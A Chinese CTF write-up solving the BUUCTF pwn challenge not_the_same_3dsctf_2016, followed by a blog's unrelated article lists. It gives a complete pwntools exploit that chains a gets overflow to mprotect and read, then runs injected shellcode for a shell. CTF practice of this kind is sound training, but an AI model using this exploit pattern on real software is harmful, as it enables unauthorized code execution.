[BUUCTF]PWN14——not_the_same_3dsctf_2016

题目网址:https://buuoj.cn/challenges#not_the_same_3dsctf_2016

步骤:

例行检查,32位,开启了nx保护

nc一下看看程序大概的执行情况,没看出个所以然

32位ida载入,shift+f12查看程序里的字符串,发现flag.txt

双击跟进,ctrl+x找到调用这个字符串的函数,可以看到,这个函数将flag读了出来,存放到了unk_80F91B的位置,我们要想办法将这个地址上的内容读出来读出

根据nc看到的字符串,找到输入点,gets可以造成溢出

我一开始的思路是利用main函数里的gets造成溢出,覆盖返回地址去读出flag,然后利用get_secret函数的输入点造成溢出然后覆盖返回地址到write函数的地址,打印出unk_80CF91B里的flag的内容,但是后来在百度fgets的用法的时候,发现它能够避免造成溢出,而且fl4g在bss段,没有ret指令可以继续控制程序。

后来我在程序了发现了mprotect函数,可以用它来修改我们内存栈的权限,让它可读可写可执行,接着让写入shellcode,然后执行获取shell,这题的做法跟get_started_3dsctf_2016这题类似

由于需要利用ret指令控制程序,所以这里需要借助用来设置三个参数的三个寄存器命令,p3_ret=0x806fcc8

 ROPgadget --binary not_the_same_3dsctf_2016 --only "pop|ret"|grep pop

ctrl+s调出程序的段表,将.got.plt段改为可读可写可执行,addr=0x80eb000

payload  ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7)

将返回地址填写成read函数,设置read函数的参数,之后将返回地址改为我们修改为可读可写可执行的地址,最好读入shellcode

payload +=p32(read_addr)+p32(p3_ret)

payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr)
r.sendline(payload)
r.sendline(shellcode)

完整EXP

from pwn import*

r=remote('node3.buuoj.cn',29651)
elf=ELF('not_the_same_3dsctf_2016')
read_addr=elf.symbols['read']
mprotect=0x806ED40
addr=0x80eb000
p3_ret=0x806fcc8 shellcode=asm(shellcraft.sh()) payload ='a'*0x2d+p32(mprotect)+p32(p3_ret)
payload +=p32(addr)+p32(0x100)+p32(0x7) payload +=p32(read_addr)+p32(p3_ret) payload +=p32(0)+p32(addr)+p32(len(shellcode))+p32(addr) r.sendline(payload)
r.sendline(shellcode) r.interactive()

最新文章

  1. D2js 的邦联式架构
  2. Ruby Gem命令详解
  3. #VSTS定制#全新的模版定制能力
  4. 在嵌入式开发板中运行程序提示-/bin/sh: ./xx: not found的解决办法
  5. FFmpeg.exe使用随笔
  6. JavaScript中统计Textarea字数并提示还能输入的字符
  7. c++ 复习练习
  8. char型字符串(数组)与string型字符串 指针与引用
  9. UNION 和UNION ALL
  10. m元素集合的n个元素子集
  11. UITabbarController左右滑动切换标签页
  12. asp.net mvc项目实记-开启伪静态-Bundle压缩css,js
  13. Nlog、Log4Net 的一个小扩展(增加自定义LEVEL)
  14. java读取各种类型文件
  15. Oracle数据库自带表空间
  16. ASP.NET Core中自定义路由约束
  17. shadow一键安装
  18. CSS media--(来自网易)
  19. 在ASP.NET MVC4中实现同页面增删改查,无弹出框01,Repository的搭建
  20. cpu负载的探讨

热门文章

  1. Java二次开发海康SDK-对接门禁机
  2. SpringCloud微服务实战——搭建企业级开发框架(二十七):集成多数据源+Seata分布式事务+读写分离+分库分表
  3. 洛谷 P6072 -『MdOI R1』Path(回滚莫队+01-trie)
  4. Linux下脚本文件第一行的作用
  5. spring-boot -配置文件值注入
  6. R数据科学-3
  7. linux命令行快速统计文件(压缩文件)的行数
  8. 推荐一个latex简历模板的网站给大家
  9. 34、在排序数组中查找元素的第一个和最后一个位置 | 算法(leetode,附思维导图 + 全部解法)300题
  10. 【.Net】使用委托实现被引用的项目向上级项目的消息传递事件